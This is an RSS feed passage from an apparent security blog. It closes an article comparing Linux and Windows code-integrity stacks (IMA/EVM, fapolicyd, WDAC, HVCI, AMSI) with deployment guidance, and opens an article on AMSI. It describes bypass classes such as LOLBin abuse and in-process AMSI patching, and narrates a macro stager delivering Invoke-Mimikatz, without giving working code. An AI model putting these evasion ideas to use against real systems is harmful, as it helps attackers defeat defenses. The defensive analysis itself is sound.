&lt;td&gt;Trust grant coarser than exploit unit&lt;/td&gt;
&lt;td&gt;RPM trust pre-fapolicyd integrity-mode addition&lt;/td&gt;
&lt;td&gt;WDAC Publisher rules + LOLBins&lt;/td&gt;
&lt;td&gt;Trust algebra cannot express &quot;Microsoft except mshta&quot; with one rule&lt;/td&gt;
&lt;td&gt;Hash-level denies, growing block list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reference value reachable by attacker&lt;/td&gt;
&lt;td&gt;IMA without EVM&lt;/td&gt;
&lt;td&gt;(HVCI moved the kernel verifier out of reach)&lt;/td&gt;
&lt;td&gt;Reference value next to the file under attacker control&lt;/td&gt;
&lt;td&gt;EVM HMAC sealed to TPM PCR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verifier is killable&lt;/td&gt;
&lt;td&gt;fapolicyd daemon failure&lt;/td&gt;
&lt;td&gt;(HVCI verifier is hypervisor-isolated)&lt;/td&gt;
&lt;td&gt;Verifier liveness is part of the trust assumption&lt;/td&gt;
&lt;td&gt;TPM-sealed boot policy + kernel-mode fallback&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not &quot;wrong&quot;, it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.&lt;/p&gt;
&lt;p&gt;The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.&lt;/p&gt;
&lt;p&gt;These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.&lt;/p&gt;
&lt;h2&gt;8. What the theory says&lt;/h2&gt;
&lt;p&gt;Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.&lt;/p&gt;
&lt;h3&gt;Rice&apos;s theorem&lt;/h3&gt;
&lt;p&gt;Rice&apos;s 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns &quot;malicious&quot; or &quot;benign&quot; in finite time for every input.&lt;/p&gt;
&lt;p&gt;Every code-integrity stack on the market therefore reduces to the same shape: an &lt;em&gt;allowlist&lt;/em&gt; of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call &quot;malware detectors&quot; -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.&lt;/p&gt;
&lt;h3&gt;No software-only protection of an in-process secret&lt;/h3&gt;
&lt;p&gt;The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.&lt;/p&gt;
&lt;p&gt;AMSI&apos;s design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI&apos;s entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host&apos;s address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM&apos;s design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.&lt;/p&gt;
&lt;h3&gt;No verification of dynamically generated executable code&lt;/h3&gt;
&lt;p&gt;The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous &lt;code&gt;mmap&lt;/code&gt; followed by &lt;code&gt;mprotect(PROT_EXEC)&lt;/code&gt; all produce executable bytes that did not exist on disk and were never hashed.&lt;/p&gt;
&lt;p&gt;The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC&apos;s User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship &quot;Constrained Language Mode&quot;-style restricted-runtime options. PowerShell&apos;s Constrained Language Mode blocks reflection and dynamic-type creation; the JVM&apos;s &lt;code&gt;--module-path&lt;/code&gt; and module-system encapsulation play a similar role for hosted Java code; the CLR&apos;s AppContainer and the .NET Core trim modes lean the same way. None of these &quot;verify&quot; the JIT output; they restrict what the runtime is willing to emit.&lt;/p&gt;
&lt;h3&gt;Cryptographic bounds&lt;/h3&gt;
&lt;p&gt;The cryptographic side, by contrast, is closed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.&lt;/li&gt;
&lt;li&gt;A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. &lt;strong&gt;fs-verity matches this lower bound.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So on the &lt;em&gt;crypto&lt;/em&gt; side the gap between upper and lower bounds is closed. On the &lt;em&gt;policy-expressiveness&lt;/em&gt; side there is no &quot;best&quot; policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;What it says&lt;/th&gt;
&lt;th&gt;Mechanism that matches it&lt;/th&gt;
&lt;th&gt;Remaining gap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem&lt;/td&gt;
&lt;td&gt;&quot;Is this binary malicious?&quot; is undecidable&lt;/td&gt;
&lt;td&gt;Every CI stack is an allowlist + signer model&lt;/td&gt;
&lt;td&gt;Allowlist composition is itself a policy problem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process secret&lt;/td&gt;
&lt;td&gt;No purely-software defence inside the attacker&apos;s address space&lt;/td&gt;
&lt;td&gt;HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM&lt;/td&gt;
&lt;td&gt;AMSI design violates this; the gap is structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash verification&lt;/td&gt;
&lt;td&gt;$\Omega(n)$ per full read; $O(\log n)$ per partial read&lt;/td&gt;
&lt;td&gt;fs-verity per page; IMA cached on &lt;code&gt;i_iversion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cold-cache cost remains O(n) for non-fs-verity files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JIT and dynamic code&lt;/td&gt;
&lt;td&gt;No way to verify code that did not exist on disk&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Restricted-runtime modes (CLM, AppContainer) are the best partial answer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asymmetric verify&lt;/td&gt;
&lt;td&gt;About 60-300 us per RSA-2048 or Ed25519 verify on modern x86&lt;/td&gt;
&lt;td&gt;Authenticode catalogues amortise; IMA caches in inode&lt;/td&gt;
&lt;td&gt;Cold cache is the only sensitive case&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the theory says we cannot win, what is research targeting in 2026?&lt;/p&gt;
&lt;h2&gt;9. Open frontiers&lt;/h2&gt;
&lt;p&gt;Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.&lt;/p&gt;
&lt;h3&gt;Linux integrity at distribution scale: the Integrity Digest Cache&lt;/h3&gt;
&lt;p&gt;IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file &lt;code&gt;imasig&lt;/code&gt; signature on every &lt;code&gt;open&lt;/code&gt; is expensive.&lt;/p&gt;
&lt;p&gt;Roberto Sassu (Huawei Cloud) proposed a fix as the &lt;code&gt;digest_cache&lt;/code&gt; LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: &quot;Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read.&quot; The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a &lt;code&gt;digest_cache_lookup()&lt;/code&gt; primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.&lt;/p&gt;
&lt;p&gt;By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled &quot;Introduce the Integrity Digest Cache&quot; and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement &quot;introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open().&quot; Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.&lt;/p&gt;

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024
&lt;p&gt;The important framing correction: the Integrity Digest Cache is &lt;strong&gt;not&lt;/strong&gt; a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.&lt;/p&gt;
&lt;h3&gt;Out-of-process AMSI broker&lt;/h3&gt;
&lt;p&gt;The conjectural fix on the Windows side is an out-of-process AMSI broker: every &lt;code&gt;AmsiScanBuffer&lt;/code&gt; call IPCs to a service running outside the script host&apos;s address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.&lt;/p&gt;
&lt;p&gt;Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.&lt;/p&gt;
&lt;h3&gt;Cross-OS attestation&lt;/h3&gt;
&lt;p&gt;A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA&apos;s measurement-log format (&lt;code&gt;ima_template_fmt&lt;/code&gt;) and &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Windows Measured Boot&lt;/a&gt;&apos;s WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.&lt;/p&gt;
&lt;p&gt;Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Current best partial result&lt;/th&gt;
&lt;th&gt;Upstream status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraisal scale on RPM-signed distros&lt;/td&gt;
&lt;td&gt;Integrity Digest Cache, 45-65% appraisal speedup&lt;/td&gt;
&lt;td&gt;Patchset v6 (Nov 2024); not upstream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI in-process trust boundary&lt;/td&gt;
&lt;td&gt;Signed provider DLLs, ETW patch detection, CLM&lt;/td&gt;
&lt;td&gt;Partial; structural fix would be OOP broker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux script-content scanning&lt;/td&gt;
&lt;td&gt;Nothing in production&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-OS attestation interop&lt;/td&gt;
&lt;td&gt;TCG CEL, TDX/SEV-SNP quotes&lt;/td&gt;
&lt;td&gt;Platform-layer; workload-level still split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC LOLBin treadmill&lt;/td&gt;
&lt;td&gt;Microsoft block list + LOLBAS + WDAC Wizard&lt;/td&gt;
&lt;td&gt;Operational; structural fix unknown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore &lt;strong&gt;operational&lt;/strong&gt;, not technological.&lt;/p&gt;
&lt;h2&gt;10. Practitioner decision guide&lt;/h2&gt;
&lt;p&gt;Eight common deployment scenarios. Eight concrete answers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;If you need...&lt;/th&gt;
&lt;th&gt;On Linux, use...&lt;/th&gt;
&lt;th&gt;On Windows, use...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;TPM-backed remote attestation&lt;/td&gt;
&lt;td&gt;IMA + EVM (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Measured Boot + TPM PCR 11 + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block unsigned drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.sig_enforce=1&lt;/code&gt; plus kernel module signing&lt;/td&gt;
&lt;td&gt;HVCI (Memory Integrity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cryptographic allowlist of installed software&lt;/td&gt;
&lt;td&gt;fapolicyd (RPM/DEB trust)&lt;/td&gt;
&lt;td&gt;App Control with Publisher rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-app sandbox&lt;/td&gt;
&lt;td&gt;AppArmor or SELinux&lt;/td&gt;
&lt;td&gt;AppContainer or App Control (no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Catch in-memory PowerShell payloads&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consumer-grade reputation gating&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Immutable appliance image&lt;/td&gt;
&lt;td&gt;dm-verity + IPE&lt;/td&gt;
&lt;td&gt;App Control with hash rules + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large APK-style assets verified lazily&lt;/td&gt;
&lt;td&gt;fs-verity&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The why behind each row.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TPM-backed attestation.&lt;/strong&gt; On Linux, IMA&apos;s measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blocking unsigned drivers.&lt;/strong&gt; Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application allowlisting on general-purpose distributions.&lt;/strong&gt; This is fapolicyd&apos;s wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean &quot;trusted&quot; list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-app sandboxing.&lt;/strong&gt; Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; or Microsoft Defender Attack Surface Reduction rules are the substitutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In-memory PowerShell payloads.&lt;/strong&gt; AMSI&apos;s use case. Linux has nothing equivalent in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consumer reputation gating.&lt;/strong&gt; Smart App Control&apos;s use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immutable appliance images.&lt;/strong&gt; Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Large lazy-loaded assets.&lt;/strong&gt; Fs-verity territory; Windows has no public equivalent.&lt;/p&gt;
&lt;h3&gt;Common implementation pitfalls&lt;/h3&gt;
&lt;p&gt;Distilled from the same shape: every stack has a default that surprises operators.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IMA without EVM and without a TPM-sealed key is decorative.&lt;/strong&gt; Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppArmor profiles authored in &lt;em&gt;complain&lt;/em&gt; mode never get promoted to &lt;em&gt;enforce&lt;/em&gt;.&lt;/strong&gt; Schedule a config-management pass that runs &lt;code&gt;aa-enforce&lt;/code&gt; on the profiles you actually want to confine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SELinux &lt;code&gt;setenforce 0&lt;/code&gt; for debugging that becomes permanent.&lt;/strong&gt; The &lt;code&gt;/.autorelabel&lt;/code&gt; flag is required after restoring contexts; track that you flipped it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fapolicyd permissive-mode lapses.&lt;/strong&gt; Set up alerting on &lt;code&gt;permissive=1&lt;/code&gt; in the runtime configuration; treat the daemon&apos;s exit status as a security event.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; policy-rule option is on by default.&lt;/strong&gt; Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is &lt;em&gt;off&lt;/em&gt; before declaring rollout complete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI without a driver-compatibility check.&lt;/strong&gt; Microsoft&apos;s &lt;code&gt;DG_Readiness_Tool&lt;/code&gt; and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treating AMSI as a control.&lt;/strong&gt; It is telemetry. Budget for the bypass on day one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control disable is one-way.&lt;/strong&gt; A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Linux: enable IMA in &lt;code&gt;measure&lt;/code&gt; mode before &lt;code&gt;appraise&lt;/code&gt;; deploy AppArmor / SELinux profiles in &lt;em&gt;complain&lt;/em&gt; / &lt;em&gt;permissive&lt;/em&gt; before &lt;em&gt;enforce&lt;/em&gt;; run fapolicyd with &lt;code&gt;permissive=1&lt;/code&gt; for the first deploy. On Windows: leave WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with &lt;code&gt;integrity=ima&lt;/code&gt; may be a saner starting point on machines without TPM.&lt;/p&gt;
&lt;/blockquote&gt;

Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline.

Path-based reasoning maps to how administrators think about confinement: &quot;this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket.&quot; SELinux&apos;s type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux.

No. Microsoft&apos;s block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter.

Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls.

On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; &quot;free&quot; is a Kaby Lake-and-newer claim.

Usually no. SAC auto-disables on enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings &amp;gt; Reset This PC does not bring it back.
&lt;p&gt;The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.&lt;/p&gt;
&lt;p&gt;What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice&apos;s wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;linux-ima-apparmor-vs-wdac-amsi-code-integrity-lineages&quot; keyTerms={[
  { term: &quot;IMA&quot;, definition: &quot;Linux Integrity Measurement Architecture. Hashes files at LSM hook points; can measure (record into TPM PCR 10), appraise (block on mismatch), or audit.&quot; },
  { term: &quot;EVM&quot;, definition: &quot;Extended Verification Module. HMACs (or signs) the security xattrs IMA depends on, so an offline attacker who rewrites security.ima cannot also forge security.evm.&quot; },
  { term: &quot;AppArmor&quot;, definition: &quot;Path-based Linux MAC, merged to mainline in 2.6.36 (Oct 2010). Default on Ubuntu and SUSE. Profiles are loaded from user space and compiled to in-kernel DFAs.&quot; },
  { term: &quot;SELinux&quot;, definition: &quot;Label-based Linux MAC merged to mainline in 2.6.0 (Dec 2003). Default on RHEL, Fedora, Oracle Linux, Android. Type-enforcement on subject x object x class.&quot; },
  { term: &quot;fapolicyd&quot;, definition: &quot;Red Hat userspace allowlister sitting on the fanotify permission channel. Trust inherited from the RPM database; rules in /etc/fapolicyd/rules.d/.&quot; },
  { term: &quot;fs-verity&quot;, definition: &quot;Per-file Merkle-tree authenticity, Linux 5.4 (Nov 2019). O(log n) per-page verification; constant-time digest retrieval; supported on ext4, f2fs, btrfs.&quot; },
  { term: &quot;IPE&quot;, definition: &quot;Integrity Policy Enforcement, Linux 6.12 (Nov 2024). Property-based decisions: dm-verity root hash, fs-verity digest, initramfs origin. O(1) per access.&quot; },
  { term: &quot;WDAC / App Control&quot;, definition: &quot;Windows code-integrity policy mechanism, originally Device Guard (Windows 10 1507). Signed XML compiled to .p7b, evaluated at PE load. Renamed App Control for Business in 2024.&quot; },
  { term: &quot;HVCI / Memory Integrity&quot;, definition: &quot;Hypervisor-Protected Code Integrity. Kernel-mode CI check moved into VTL1 of Hyper-V, isolated from the VTL0 normal kernel. Same mechanism marketed under three names.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface. In-process script-broker COM API (AmsiScanBuffer) called by PowerShell, WSH, VBA, MSHTA, UAC installer, .NET. Provider is Defender by default.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing pre-baked WDAC policy shipped with Windows 11 22H2. 48-hour evaluation window, one-way disable, cloud reputation via the Intelligent Security Graph.&quot; },
  { term: &quot;LSM&quot;, definition: &quot;Linux Security Modules. Kernel framework merged Dec 2003 that hosts security modules at well-defined hook points. Hosts SELinux, AppArmor, IMA, EVM, IPE, BPF LSM, Landlock.&quot; },
  { term: &quot;MAC&quot;, definition: &quot;Mandatory Access Control. Kernel-enforced policy layer above DAC that no userspace privilege can override; the operator, not the file owner, sets policy.&quot; },
  { term: &quot;TPM PCR 10&quot;, definition: &quot;The TPM Platform Configuration Register IMA extends file-content hashes into. Monotonic, extendable as PCR_new = SHA256(PCR_old || hash); used as the anchor for remote attestation.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PE signing format. Anchors WDAC&apos;s Publisher, PcaCertificate, and LeafCertificate rule kinds; signed catalogues (.cat) provide pre-computed hashes for catalogued files.&quot; },
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary. A trusted binary, often vendor-signed, repurposed by attackers to bypass an allowlist (e.g. mshta.exe evaluating an HTA blob).&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;Reduced PowerShell language mode App Control forces with UMCI on. Blocks reflection, dynamic-type creation, and arbitrary .NET API calls; restricts evaluation surface.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>security</category><category>linux</category><category>windows</category><category>code-integrity</category><category>mandatory-access-control</category><category>ima</category><category>wdac</category><category>amsi</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>AMSI: The Pre-Execution Window Where Defender Catches a Base64 Payload It Has Never Seen Before</title><link>https://paragmali.com/blog/amsi-the-pre-execution-window-defender/</link><guid isPermaLink="true">https://paragmali.com/blog/amsi-the-pre-execution-window-defender/</guid><description>How the Antimalware Scan Interface scans script content after deobfuscation but before execution, the seven runtimes it plugs into, and the nearly seven-year bypass arms race that followed.</description><pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate><content:encoded>
AMSI is a seven-function Win32 API plus a COM provider model that lets any script engine hand its post-deobfuscation buffer to a registered antimalware provider, synchronously, before the engine executes the buffer. Microsoft Defender&apos;s `MpOav.dll` is the default provider. It is the single most consequential malware-defense primitive Microsoft shipped between Authenticode and Smart App Control, and it is not, by Microsoft&apos;s own published position, a security boundary. This article walks the architecture, the seven-runtime call-site catalogue (PowerShell, WSH, Office VBA, Excel XLM, .NET 4.8, WMI, Windows 11 in-memory), the six bypass eras since 2016, and the open problems on the 2026 frontier.
&lt;h2&gt;1. A 200-Millisecond Story&lt;/h2&gt;
&lt;p&gt;A user opens a Word document attached to a phishing email. The macro decodes a base64 blob, XORs the result against a four-byte key cached in a worksheet cell, and pastes the cleartext into a string variable. The variable holds a single PowerShell command: an &lt;code&gt;Invoke-Expression&lt;/code&gt; of a 12-layer obfuscated stager whose final payload is &lt;code&gt;Invoke-Mimikatz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two hundred milliseconds later, &lt;a href=&quot;https://paragmali.com/blog/the-defenders-dilemma-microsoft-antivirus/&quot; rel=&quot;noopener&quot;&gt;Microsoft Defender&lt;/a&gt; flags the deobfuscated string &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; and refuses to run it. Not the base64. Not the XOR. Not the macro. The actual deobfuscated PowerShell, in the form the PowerShell tokenizer was about to execute.&lt;/p&gt;
&lt;p&gt;No signature for this exact payload existed yesterday. The defender never read the document, never broke the encryption, and never emulated PowerShell. So how did it see the cleartext?&lt;/p&gt;
